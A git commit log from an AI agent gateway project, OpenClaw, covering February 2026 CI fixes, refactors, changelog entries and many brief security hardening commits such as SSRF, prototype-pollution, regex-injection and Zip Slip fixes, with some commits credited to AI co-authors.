Co-authored-by: adhitShet <131381638+adhitShet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 19:46:51 -05:00
Gustavo Madeira Santana
ffa7de0467 chore: add CHANGELOG entry 2026-02-19 19:34:30 -05:00
Gustavo Madeira Santana
cf4ffff3e1 fix(heartbeat): run when HEARTBEAT.md is missing 2026-02-19 19:32:18 -05:00
Val Alexander
6bc9824735 docs: update clawtributors for PR #21447 2026-02-19 17:47:50 -06:00
Josh Avant
29ad0736f4 fix(gateway): tolerate legacy paired metadata in ws upgrade checks (#21447)
Fixes the pairing required regression from #21236 for legacy paired devices
created without roles/scopes metadata. Detects legacy paired metadata shape
and skips upgrade enforcement while backfilling metadata in place on reconnect.

Co-authored-by: Josh Avant <830519+joshavant@users.noreply.github.com>
Co-authored-by: Val Alexander <68980965+BunsDev@users.noreply.github.com>
2026-02-19 17:45:56 -06:00
Vincent Koc
7ce357ff8b docs: add Vincent Koc to contributor credits 2026-02-19 15:13:38 -08:00
Vincent Koc
ce2a39a271 Security: bump hono for timing-safe auth hardening 2026-02-19 15:13:38 -08:00
Vincent Koc
2c93f6656a Docs: record PR #21336 anthropic onboarding fix 2026-02-19 15:13:38 -08:00
Jeremy Mumford
6ef365d062 resolved bug with doing a raw call to anthropic compatible apis (#21336) 2026-02-19 15:04:49 -08:00
Peter Steinberger
f66b23de75 chore(release): bump versions to 2026.2.20 2026-02-20 00:02:53 +01:00
Peter Steinberger
20004711df fix(update): restart daemon after service refresh 2026-02-20 00:02:53 +01:00
Val Alexander
82a1741336 fix: update formula handling in SKILL.md and frontmatter.ts (#11046)
- Changed "cask" to "formula" in SKILL.md for consistency.
- Enhanced formula parsing in frontmatter.ts to trim whitespace and fallback to cask if formula is not provided.
2026-02-19 16:57:08 -06:00
Vincent Koc
4883aa5439 docs(changelog): credit prior Slack recipient-id groundwork for 20988 (#21434) 2026-02-19 14:48:29 -08:00
David Szarzynski
bbcb3ac6e0 fix(slack): pass recipient_team_id to streaming API calls (#20988)
* fix(slack): pass recipient_team_id and recipient_user_id to streaming API calls

The Slack Agents & AI Apps streaming API (chat.startStream / chat.stopStream)
requires recipient_team_id and recipient_user_id parameters. Without them,
stopStream fails with 'missing_recipient_team_id' (all contexts) or
'missing_recipient_user_id' (DM contexts), causing streamed messages to
disappear after generation completes.

This passes:
- team_id (from auth.test at provider startup, stored in monitor context)
- user_id (from the incoming message sender, for DM recipient identification)

through to the ChatStreamer via recipient_team_id and recipient_user_id options.

Fixes #19839, #20847, #20299, #19791, #20337

AI-assisted: Written with Claude (Opus 4.6) via OpenClaw. Lightly tested
(unit tests pass, live workspace verification in progress).

* fix(slack): disable block streaming when native streaming is active

When Slack native streaming (`chat.startStream`/`stopStream`) is enabled,
`disableBlockStreaming` was set to `false`, which activated the app-level
block streaming pipeline. This pipeline intercepted agent output, sent it
via block replies, then dropped the final payloads that would have flowed
through `deliverWithStreaming` to the Slack streaming API — resulting in
zero replies delivered.

Set `disableBlockStreaming: true` when native streaming is active so the
final reply flows through the Slack streaming API path as intended.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-19 14:44:34 -08:00
Josh Avant
c2876b69fb feat(auto-reply): add model fallback lifecycle visibility in status, verbose logs, and WebUI (#20704) 2026-02-19 14:33:02 -08:00
Vincent Koc
6cdcb5904d chore: update changelog for merged fixes 7734 and 21086 (#21254) 2026-02-19 13:00:40 -08:00
Protocol Zero
2af3415fac fix: treat HTTP 503 as failover-eligible for LLM provider errors (#21086)
* fix: treat HTTP 503 as failover-eligible for LLM provider errors

When LLM SDKs wrap 503 responses, the leading "503" prefix is lost
(e.g. Google Gemini returns "high demand" / "UNAVAILABLE" without a
numeric prefix). The existing isTransientHttpError only matches
messages starting with "503 ...", so these wrapped errors silently
skip failover — no profile rotation, no model fallback.

This patch closes that gap:

- resolveFailoverReasonFromError: map HTTP status 503 → rate_limit
  (covers structured error objects with a status field)
- ERROR_PATTERNS.overloaded: add /\b503\b/, "service unavailable",
  "high demand" (covers message-only classification when the leading
  status prefix is absent)

Existing isTransientHttpError behavior is unchanged; these additions
are complementary and only fire for errors that previously fell
through unclassified.

* fix: address review feedback — drop /\b503\b/ pattern, add test coverage

- Remove `/\b503\b/` from ERROR_PATTERNS.overloaded to resolve the
  semantic inconsistency noted by reviewers: `isTransientHttpError`
  already handles messages prefixed with "503" (→ "timeout"), so a
  redundant overloaded pattern would classify the same class of errors
  differently depending on message formatting.

- Keep "service unavailable" and "high demand" patterns — these are the
  real gap-fillers for SDK-rewritten messages that lack a numeric prefix.

- Add test case for JSON-wrapped 503 error body containing "overloaded"
  to strengthen coverage.

* fix: unify 503 classification — status 503 → timeout (consistent with isTransientHttpError)

resolveFailoverReasonFromError previously mapped status 503 → "rate_limit",
while the string-based isTransientHttpError mapped "503 ..." → "timeout".

Align both paths: structured {status: 503} now also returns "timeout",
matching the existing transient-error convention. Both reasons are
failover-eligible, so runtime behavior is unchanged.

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-19 12:45:09 -08:00
Coy Geek
8ae2d5110f fix(docker): pin base images to SHA256 digests (#7734)
* fix(docker): pin base images to SHA256 digests for supply chain security

Pin all 9 Dockerfiles to immutable SHA256 digests to prevent supply chain
attacks where a compromised upstream image could be silently pulled into
production builds.

Also add Docker ecosystem to Dependabot configuration for automated
digest updates.

Images pinned:
- node:22-bookworm@sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935
- node:22-bookworm-slim@sha256:3cfe526ec8dd62013b8843e8e5d4877e297b886e5aace4a59fec25dc20736e45
- debian:bookworm-slim@sha256:98f4b71de414932439ac6ac690d7060df1f27161073c5036a7553723881bffbe
- ubuntu:24.04@sha256:cd1dba651b3080c3686ecf4e3c4220f026b521fb76978881737d24f200828b2b

Fixes #7731

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* test(docker): add digest pinning regression coverage

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-19 12:42:07 -08:00
Mariano
e98ccc8e17 iOS/Gateway: stabilize background wake and reconnect behavior (#21226)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7705a7741e
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 20:20:28 +00:00
Shadow
f7a8c2df2c Discord: handle gateway 4014 close 2026-02-19 13:47:28 -06:00
George Pickett
85fee30e6b fix: changelog for cross-origin redirect header stripping (#20313) (thanks @afurm) 2026-02-19 11:42:25 -08:00
George Pickett
802f043e53 Net: expand cross-origin sensitive header regression test 2026-02-19 11:42:25 -08:00
Andrii Furmanets
c0cd5a7265 Net: strip sensitive headers on cross-origin redirects 2026-02-19 11:42:25 -08:00
Shakker
eec5a6d6f1 Changelog: move prompt caching fix to unreleased 2026-02-19 19:22:46 +00:00
Shakker
45b54d90ab Changelog: add auto-reply run-start fix (#21165) (thanks @shakkernerd) 2026-02-19 19:15:09 +00:00
Shakker
7579e9511e Auto-reply: delay onAgentRunStart until real activity 2026-02-19 19:15:09 +00:00
Isis Anisoptera
4b7d89100e fix(auto-reply): restore prompt cache stability by moving per-turn ids to user context (#20597)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 175919afb6
Co-authored-by: anisoptera <768771+anisoptera@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 19:11:47 +00:00
Shakker
ff3a7e5635 chore: bump release metadata to 2026.2.20 2026-02-19 18:57:08 +00:00
Mariano
a1d5dce7ab iOS: use dedicated session key for chat sheet (#21139)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 31a27b0c5b
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 18:42:56 +00:00
Mariano
42d11a3ec5 iOS: auto-resync chat after reconnect gaps (#21135)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1beca3a76d
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 18:37:13 +00:00
Peter Steinberger
bf8117ad32 fix(update): silence npm deprecation/funding noise 2026-02-19 18:19:16 +01:00
Peter Steinberger
e741a53919 chore(ci): trigger push workflows after main CI fix 2026-02-19 17:48:08 +01:00
Peter Steinberger
03d7aad0a4 fix(test): mock runDaemonInstall with vi.mocked 2026-02-19 17:43:29 +01:00
Vincent Koc
45d9b20692 fix(cli): refresh gateway service env during update (#21071)
* changelog: add security deepMerge prototype-pollution fix entry

* update: refresh gateway service env during update restart

* test(cli): fix daemon install mock assertion

* test(cli): guard update restart false path
2026-02-19 08:32:56 -08:00
Peter Steinberger
7880947bb5 fix(ci): restore actionlint rules and add blacksmith 16 ignore 2026-02-19 17:29:51 +01:00
Peter Steinberger
e500110ef7 fix(ci): allow blacksmith 16vcpu labels in actionlint 2026-02-19 17:29:20 +01:00
Peter Steinberger
ce1f0c0a10 ci: move workflows to blacksmith 16vcpu runners 2026-02-19 17:25:15 +01:00
Peter Steinberger
2c05cbb43e fix(ci): use versioned actionlint checksum asset 2026-02-19 17:07:20 +01:00
Peter Steinberger
2435499862 ci: move blacksmith runners to 8 vcpu 2026-02-19 16:50:22 +01:00
Peter Steinberger
9f5429e528 docs: trim refactor-only and duplicate changelog entries 2026-02-19 16:34:10 +01:00
Peter Steinberger
869ebbce46 fix(ci): verify actionlint release checksum before install 2026-02-19 16:33:32 +01:00
Peter Steinberger
3077c35831 fix(ui): unblock docker onboarding build 2026-02-19 16:32:33 +01:00
Peter Steinberger
30e36c30d4 fix(ci): tighten test typing for browser and cron cli 2026-02-19 15:29:57 +00:00
Peter Steinberger
018370e827 fix(ci): normalize path assertions across platforms 2026-02-19 15:28:14 +00:00
Peter Steinberger
035832b4c5 refactor(daemon): extract windows cmd argv helpers 2026-02-19 16:22:28 +01:00
Peter Steinberger
a1cb700a05 test: dedupe and optimize test suites 2026-02-19 15:19:38 +00:00
Peter Steinberger
b0e55283d5 chore: bump release metadata to 2026.2.19 2026-02-19 16:17:34 +01:00
Peter Steinberger
280c6b117b fix(daemon): harden windows schtasks script quoting 2026-02-19 16:16:51 +01:00
Peter Steinberger
3a258e7ca8 fix(ci): add explicit mock export types for harnesses 2026-02-19 15:16:09 +00:00
Peter Steinberger
e96c6a7a3e fix(ci): format cron tool imports 2026-02-19 15:13:02 +00:00
Peter Steinberger
bc6f983f85 fix(ci): resolve format drift and acp mock typing 2026-02-19 15:11:27 +00:00
Peter Steinberger
cc9be84b9c refactor(runtime): split runtime builders and stabilize cron tool seam 2026-02-19 16:09:56 +01:00
Peter Steinberger
e1e91bdb4a test: cover plugin status helper branches 2026-02-19 15:09:19 +00:00
Peter Steinberger
d3bf6e1b90 test: harden mock order and shell path coverage 2026-02-19 15:09:19 +00:00
Peter Steinberger
4574f3279b test: cover npm pack install drift branches 2026-02-19 15:08:54 +00:00
Peter Steinberger
dcd592a601 refactor: eliminate jscpd clones and boost tests 2026-02-19 15:08:54 +00:00
Peter Steinberger
71983716ff test: share channels command mock harness 2026-02-19 15:08:14 +00:00
Peter Steinberger
0213a09211 test: share temp home env harness 2026-02-19 15:08:14 +00:00
Peter Steinberger
edf92f1cb0 refactor: share npm integrity drift handling 2026-02-19 15:08:14 +00:00
Peter Steinberger
72e426be60 test: reuse isolated agent mock module 2026-02-19 15:08:14 +00:00
Peter Steinberger
e1059e95aa refactor(daemon): extract schtasks cmd-set codec helpers 2026-02-19 16:07:15 +01:00
Peter Steinberger
a688ccf24a refactor(security): unify safe-bin argv parsing and harden regressions 2026-02-19 16:04:58 +01:00
Peter Steinberger
2e421f32df fix(security): restore trusted plugin runtime exec default 2026-02-19 16:01:29 +01:00
Peter Steinberger
8288702f51 docs(changelog): add Windows schtasks injection fix note 2026-02-19 15:57:42 +01:00
Peter Steinberger
dafe52e8cf fix(daemon): escape schtasks environment assignments 2026-02-19 15:52:13 +01:00
Peter Steinberger
c45f3c5b00 fix(gateway): harden canvas auth with session capabilities 2026-02-19 15:51:22 +01:00
Peter Steinberger
f76f98b268 chore: fix formatting drift and stabilize cron tool mocks 2026-02-19 15:41:38 +01:00
Peter Steinberger
63e39d7f57 fix(security): harden ACP prompt size guardrails 2026-02-19 15:41:01 +01:00
Aether AI Agent
ebcf19746f fix(security): OC-53 validate prompt size before string concatenation to prevent memory exhaustion — Aether AI Agent 2026-02-19 15:41:01 +01:00
Aether AI Agent
732e53151e fix(security): OC-53 enforce 2MB prompt size limit to prevent ACP DoS — Aether AI Agent 2026-02-19 15:41:01 +01:00
Peter Steinberger
c9dee59266 refactor(security): centralize trusted sender checks for discord moderation 2026-02-19 15:39:56 +01:00
Peter Steinberger
81b19aaa1a fix(security): enforce plugin and hook path containment 2026-02-19 15:37:29 +01:00
Peter Steinberger
10379e7dcd fix: harden voice-call tts deep merge 2026-02-19 15:37:01 +01:00
Peter Steinberger
b40821b068 fix: harden ACP secret handling and exec preflight boundaries 2026-02-19 15:34:20 +01:00
Peter Steinberger
3d7ad1cfca fix(security): centralize owner-only tool gating and scope maps 2026-02-19 15:29:23 +01:00
Peter Steinberger
9130fd2b06 ci: harden workflow action input handling 2026-02-19 15:27:48 +01:00
Peter Steinberger
efca61e3ac test: share cron tool mock harness 2026-02-19 14:27:37 +00:00
Peter Steinberger
eb9861b20a test: share memory manager bootstrap helper 2026-02-19 14:27:37 +00:00
Peter Steinberger
2581b67cdb refactor: share exec approval request helper 2026-02-19 14:27:37 +00:00
Peter Steinberger
3179097a1f refactor: dedupe redact snapshot restore prelude 2026-02-19 14:27:37 +00:00
Peter Steinberger
ffd4e85873 refactor: share allow-from merge and sender-id checks 2026-02-19 14:27:37 +00:00
Peter Steinberger
ba538c98c7 refactor: share plain object guard across config and utils 2026-02-19 14:27:36 +00:00
Peter Steinberger
397f243ded refactor: dedupe gateway session guards and agent test fixtures 2026-02-19 14:27:36 +00:00
Peter Steinberger
a99fd8f2dd refactor: reuse daemon action response type in lifecycle core 2026-02-19 14:27:36 +00:00
Peter Steinberger
672b1c5084 refactor: dedupe slack monitor mrkdwn and modal event base 2026-02-19 14:27:36 +00:00
Peter Steinberger
cb6b835a49 test: dedupe heartbeat and action-runner fixtures 2026-02-19 14:27:36 +00:00
Peter Steinberger
26c9b37f5b fix(security): enforce strict IPv4 SSRF literal handling 2026-02-19 15:24:47 +01:00
Peter Steinberger
77c748304b refactor(plugins): extract safety and provenance helpers 2026-02-19 15:24:14 +01:00
Peter Steinberger
775816035e fix(security): enforce trusted sender auth for discord moderation 2026-02-19 15:18:24 +01:00
Peter Steinberger
baa335f258 fix(security): harden SSRF IPv4 literal parsing 2026-02-19 15:14:46 +01:00
Peter Steinberger
3561442a9f fix(plugins): harden discovery trust checks 2026-02-19 15:14:12 +01:00
Peter Steinberger
5dc50b8a3f fix(security): harden npm plugin and hook install integrity flow 2026-02-19 15:11:25 +01:00
Peter Steinberger
2777d8ad93 refactor(security): unify gateway scope authorization flows 2026-02-19 15:06:38 +01:00
Peter Steinberger
f4b288b8f7 refactor(feishu): dedupe mention regex escaping 2026-02-19 15:04:40 +01:00
Peter Steinberger
b54ba3391b fix: credit contributor in changelog (#20916) (thanks @orlyjamie) 2026-02-19 15:00:10 +01:00
Peter Steinberger
29118995ad refactor(lobster): remove lobsterPath overrides 2026-02-19 14:58:13 +01:00
Peter Steinberger
f8b61bb4ed refactor(acp): split session tests and share rate limiter 2026-02-19 14:55:06 +01:00
Peter Steinberger
19348050be style: normalize acp translator import ordering 2026-02-19 13:54:40 +00:00
Peter Steinberger
7a89049d1d refactor: dedupe pending pairing request flow and add reuse tests 2026-02-19 13:54:35 +00:00
Peter Steinberger
d900d5efbd style: normalize ws message handler import ordering 2026-02-19 13:51:53 +00:00
Peter Steinberger
79ab4927c1 test: dedupe extracted-size budget assertions in archive tests 2026-02-19 13:51:53 +00:00
Peter Steinberger
7426848913 test(feishu): add mention regex injection regressions 2026-02-19 14:51:41 +01:00
Jamie
7e67ab75cc fix(feishu): escape regex metacharacters in stripBotMention
stripBotMention() passed mention.name and mention.key directly into
new RegExp() without escaping, allowing regex injection and ReDoS via
crafted Feishu mention metadata. extractMessageBody() in mention.ts
already escapes correctly — this applies the same pattern.

Ref: GHSA-c6hr-w26q-c636
2026-02-19 14:51:41 +01:00
Peter Steinberger
e01011e3e4 fix(acp): harden session lifecycle against flooding 2026-02-19 14:50:17 +01:00
Peter Steinberger
4ddc4dfd76 test: dedupe fetch cleanup-throw signal harness 2026-02-19 13:50:07 +00:00
Peter Steinberger
0bda0202fd fix(security): require explicit approval for device access upgrades 2026-02-19 14:49:09 +01:00
Peter Steinberger
182ffdf557 test: dedupe zai env test setup and cover blank legacy key 2026-02-19 13:48:21 +00:00
Peter Steinberger
d9046f0d2a chore(deps): update dependencies to latest 2026-02-19 14:46:16 +01:00
Peter Steinberger
177654f526 refactor: dedupe APNs push send flow and add wake default test 2026-02-19 13:45:34 +00:00
Peter Steinberger
722a898f20 refactor: dedupe openclaw root traversal and add coverage 2026-02-19 13:43:31 +00:00
Peter Steinberger
cf6edc6d57 docs(changelog): credit allsmog for Lobster security report 2026-02-19 14:43:03 +01:00
Peter Steinberger
758ea3c5a1 style: apply oxfmt import ordering for check 2026-02-19 14:38:55 +01:00
Peter Steinberger
08a7967936 fix(security): fail closed on gateway bind fallback and tighten canvas IP fallback 2026-02-19 14:38:55 +01:00
Peter Steinberger
a40c10d3e2 fix: harden agent gateway authorization scopes 2026-02-19 14:37:56 +01:00
Peter Steinberger
165c18819e refactor(security): simplify safe-bin validation structure 2026-02-19 14:33:58 +01:00
Peter Steinberger
74c51aeb1e style: format gateway server methods 2026-02-19 13:32:58 +00:00
Peter Steinberger
7c9130f3c5 docs: require SECURITY.md before GHSA reviews 2026-02-19 14:32:19 +01:00
Peter Steinberger
268b0dc921 style: fix formatting drift in security allowlist checks 2026-02-19 13:31:01 +00:00
Peter Steinberger
ff74d89e86 fix: harden gateway control-plane restart protections 2026-02-19 14:30:15 +01:00
Peter Steinberger
14b4c7fd56 refactor: dedupe provider usage auth/fetch logic and expand coverage 2026-02-19 13:28:18 +00:00
Peter Steinberger
2d485cd47a refactor(security): extract safe-bin policy and dedupe tests 2026-02-19 14:28:03 +01:00
Peter Steinberger
0e85380e56 style: format files and fix safe-bins e2e typing 2026-02-19 14:26:12 +01:00
Peter Steinberger
e3e0ffd801 feat(security): audit gateway HTTP no-auth exposure 2026-02-19 14:25:56 +01:00
Peter Steinberger
808a60d3bd docs: clarify intentional network-visible canvas model in security policy 2026-02-19 14:25:41 +01:00
Peter Steinberger
fec48a5006 refactor(exec): split host flows and harden safe-bin trust 2026-02-19 14:22:01 +01:00
Thorfinn
b45bb6801c fix(doctor): skip embedding provider check when QMD backend is active (openclaw#17295) thanks @miloudbelarebia
Verified:
- pnpm build
- pnpm check (fails on baseline formatting drift in files identical to origin/main)
- pnpm test:macmini

Co-authored-by: miloudbelarebia <52387093+miloudbelarebia@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 07:21:27 -06:00
Peter Steinberger
bafdbb6f11 fix(security): eliminate safeBins file-existence oracle 2026-02-19 14:18:11 +01:00
Peter Steinberger
1316e57403 fix: enforce inbound attachment root policy across pipelines 2026-02-19 14:15:51 +01:00
Peter Steinberger
cfe8457a0f fix(security): harden safeBins stdin-only enforcement 2026-02-19 14:10:45 +01:00
Peter Steinberger
3c127b6eac test: dedupe provider usage tests and expand coverage 2026-02-19 13:08:01 +00:00
Peter Steinberger
ec232a9e2d refactor(security): harden temp-path handling for inbound media 2026-02-19 14:06:37 +01:00
Peter Steinberger
9f9cd5cbb2 refactor(browser): unify navigation guard path and error typing 2026-02-19 14:04:18 +01:00
Peter Steinberger
badafdc7b3 refactor: dedupe provider usage fetch logic and tests 2026-02-19 12:51:30 +00:00
Peter Steinberger
6195660b1a fix(browser): unify SSRF guard path for navigation 2026-02-19 13:44:01 +01:00
Peter Steinberger
3c419b7bd3 docs(security): document webhook hardening and changelog 2026-02-19 13:31:44 +01:00
Peter Steinberger
aa267812d3 test(security): add webhook hardening regressions 2026-02-19 13:31:28 +01:00
Peter Steinberger
a23e0d5140 fix(security): harden feishu and zalo webhook ingress 2026-02-19 13:31:27 +01:00
David Rudduck
e0aaf2d399 fix(security): block prototype-polluting keys in deepMerge (#20853)
Reject __proto__, prototype, and constructor keys during deep-merge
to prevent prototype pollution when merging untrusted config objects.
2026-02-19 03:47:48 -08:00
Vincent Koc
043b2f5e7a changelog: add unreleased fixes from recent PRs (#20897) 2026-02-19 03:44:15 -08:00
zerone0x
466a1e1cdb fix(clawdock): include docker-compose.extra.yml in helper commands (#17094)
_clawdock_compose() only passed -f docker-compose.yml, ignoring the
extra compose file that docker-setup.sh generates for persistent home
volumes and custom mounts. This broke all clawdock-* commands for
setups using OPENCLAW_HOME_VOLUME.

Fixes #17083

Co-authored-by: Claude <noreply@anthropic.com>
2026-02-19 03:40:47 -08:00
zerone0x
3feb7fc3a3 fix(matrix): detect mentions in formatted_body matrix.to links (#16941)
* fix(matrix): detect mentions in formatted_body matrix.to links

Many Matrix clients (including Element) send mentions using HTML links
in formatted_body instead of or in addition to the m.mentions field:

```json
{
  "formatted_body": "<a href=\"https://matrix.to/#/@bot:matrix.org\">Bot</a>: hello",
  "m.mentions": null
}
```

This change adds detection for matrix.to links in formatted_body,
supporting both plain and URL-encoded user IDs.

Changes:
- Add checkFormattedBodyMention() helper function
- Check formatted_body in resolveMentions()
- Add comprehensive test coverage

Fixes #6982

* Update extensions/matrix/src/matrix/monitor/mentions.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: zerone0x <zerone0x@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-19 03:40:21 -08:00
habakan
825cc70796 test: dedupe gateway auth and sessions patch coverage (#20087) 2026-02-19 03:35:58 -08:00
Mariano
db73402235 Security: add explicit opt-in for deprecated plugin runtime exec (#20874)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: de69f81725
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 11:30:36 +00:00
Abdel Fane
e955582c8f security: add baseline security headers to gateway HTTP responses (#10526)
* security: add baseline security headers to gateway HTTP responses

All responses from the gateway HTTP server now include
X-Content-Type-Options: nosniff and Referrer-Policy: no-referrer.

These headers are applied early in handleRequest, before any
handler runs, ensuring coverage for every response including
error pages and 404s.

Headers that restrict framing (X-Frame-Options, CSP
frame-ancestors) are intentionally omitted at this global level
because the canvas host and A2UI handlers serve content that may
be loaded inside frames.

* fix: apply security headers before WebSocket upgrade check

Move setDefaultSecurityHeaders() above the WebSocket early-return so
the headers are set on every HTTP response path including upgrades.

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-19 03:28:24 -08:00
mahanandhi
57102cbec9 Security: use crypto.randomBytes for temp file names (#20654)
Replace Math.random() with crypto.randomBytes() for generating
temporary file names. Math.random() is predictable and can enable
TOCTOU race conditions. Also set mode 0o600 on TTS temp files.

Co-authored-by: sirishacyd <sirishacyd@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 03:19:29 -08:00
mahanandhi
fb35635c10 Security: use execFileSync instead of execSync with shell strings (#20655)
Replace execSync (which spawns a shell) with execFileSync (which
invokes the binary directly with an argv array). This eliminates
command injection risk from interpolated arguments.

Co-authored-by: sirishacyd <sirishacyd@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 03:19:09 -08:00
David Rudduck
ee6d0bd321 fix(security): escape backticks in exec-approval command previews (#20854)
Command text displayed in Discord exec-approval embeds was not sanitized,
allowing crafted commands containing backticks to break out of the markdown
code block and inject arbitrary Discord formatting. This fix inserts a
zero-width space before each backtick to neutralize markdown injection.
2026-02-19 03:17:06 -08:00
David Rudduck
f1e1ad73ad fix(security): SHA-256 hash before timingSafeEqual to prevent length leak (#20856)
The previous implementation returned early when buffer lengths differed,
leaking the expected secret's length via timing side-channel. Hashing both
inputs with SHA-256 before comparison ensures fixed-length buffers and
constant-time comparison regardless of input lengths.
2026-02-19 03:16:35 -08:00
David Rudduck
baf4a799a9 fix(security): use YAML core schema to prevent type coercion (#20857)
YAML 1.1 default schema silently coerces values like "on" to true and
"off" to false, which can cause unexpected behavior in frontmatter
parsing. Explicitly set schema: "core" to use YAML 1.2 rules that
only recognize true/false/null literals.
2026-02-19 03:15:36 -08:00
Jay Caldwell
9edec67a18 fix(security): block plaintext WebSocket connections to non-loopback addresses (#20803)
* fix(security): block plaintext WebSocket connections to non-loopback addresses

Addresses CWE-319 (Cleartext Transmission of Sensitive Information).

Previously, ws:// connections to remote hosts were allowed, exposing
both credentials and chat data to network interception. This change
blocks ALL plaintext ws:// connections to non-loopback addresses,
regardless of whether explicit credentials are configured (device
tokens may be loaded dynamically).

Security policy:
- wss:// allowed to any host
- ws:// allowed only to loopback (127.x.x.x, localhost, ::1)
- ws:// to LAN/tailnet/remote hosts now requires TLS

Changes:
- Add isSecureWebSocketUrl() validation in net.ts
- Block insecure connections in GatewayClient.start()
- Block insecure URLs in buildGatewayConnectionDetails()
- Handle malformed URLs gracefully without crashing
- Update tests to use wss:// for non-loopback URLs

Fixes #12519

* fix(test): update gateway-chat mock to preserve net.js exports

Use importOriginal to spread actual module exports and mock only
the functions needed for testing. This ensures isSecureWebSocketUrl
and other exports remain available to the code under test.
2026-02-19 03:13:08 -08:00
Coy Geek
f7a7a28c56 fix: enforce hooks token separation from gateway auth (#20813)
* fix(an-03): apply security fix

Generated by staged fix workflow.

* fix(an-03): apply security fix

Generated by staged fix workflow.

* fix(an-03): remove stale test-link artifact from patch

Remove accidental a2ui test-link artifact from the tracked diff and keep startup auth enforcement centralized in startup-auth.ts.
2026-02-19 02:48:08 -08:00
Vincent Koc
267bb3c81c changelog: backfill PR release-note entries (#20839)
* Docs: backfill changelog entries

* Docs: mark PR 20836 as merged in changelog
2026-02-19 02:43:57 -08:00
Vincent Koc
3904d7ca06 deps: migrate request to @cypress/request (#20836) 2026-02-19 02:41:13 -08:00
Vincent Koc
de656e3194 fix(otel): complete diagnostics-otel OpenTelemetry v2 API migration (#12897)
* fix(otel): complete diagnostics-otel OpenTelemetry v2 API migration

* chore(format): align otel files with updated oxfmt config

* chore(format): apply updated oxfmt spacing to otel diagnostics
2026-02-19 02:36:47 -08:00
Vincent Koc
1faa7a87a0 lobster: parse windows cmd shim paths with rooted tokens (#20833) 2026-02-19 02:34:08 -08:00
Vincent Koc
942ed89277 deps: update overrides for minimatch and fast-xml-parser (#20832) 2026-02-19 02:31:20 -08:00
Vincent Koc
a14dcafbaa Format: fix import ordering in two files (#20829) 2026-02-19 02:18:27 -08:00
Peter Steinberger
da341bfbe1 test(daemon): dedupe service path cases and bootstrap failures 2026-02-19 10:17:48 +00:00
Peter Steinberger
e8e343aeee test(ci): fix launchd and diagnostics-otel test harnesses 2026-02-19 10:17:48 +00:00
Mariano
45db2aa0cd Security: disable plugin runtime command execution primitive (#20828)
Co-authored-by: mbelinky <mbelinky@users.noreply.github.com>
2026-02-19 10:17:29 +00:00
Peter Steinberger
771af40913 chore(ci): fix main check blockers and stabilize tests 2026-02-19 10:15:25 +00:00
Peter Steinberger
53aecf7a8e test(bluebubbles): merge typing start stop method checks 2026-02-19 10:09:34 +00:00
Peter Steinberger
49d0def6d1 fix(security): harden imessage remote scp/ssh handling 2026-02-19 11:08:23 +01:00
Peter Steinberger
cdb00fe242 fix(feishu): isolate temp download writes in mkdtemp dirs 2026-02-19 11:05:04 +01:00
Peter Steinberger
1b46f7d0ba refactor(daemon): simplify gateway service backend delegates 2026-02-19 10:04:19 +00:00
Peter Steinberger
70900feaa7 refactor(daemon): share service arg types across backends 2026-02-19 10:04:19 +00:00
Vincent Koc
be7462af1e Gateway: clarify launchctl domain bootstrap error (#13795) 2026-02-19 02:03:23 -08:00
Vincent Koc
88f698974a fix(otel): sanitize OTLP endpoint URL resolution (#13791)
* fix(otel): sanitize OTLP endpoint signal URL resolution

* fix(otel): preserve signal URLs with query params

* fix(otel): accept case-insensitive signal paths
2026-02-19 02:02:57 -08:00
Mariano
a7c0aa94d9 refactor(security): share safe temp media path builder (#20810)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7a088e6801
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-19 09:59:21 +00:00
Peter Steinberger
ee1d6427b5 fix(security): enforce symlink-safe skill packaging 2026-02-19 10:56:17 +01:00
aether-ai-agent
c275932aa4 fix(security): OC-22 prevent Zip Slip and symlink following in skill packaging
This commit implements critical security fixes for vulnerability OC-22
(CVSS 7.7, CWE-426) in the skill packaging system.

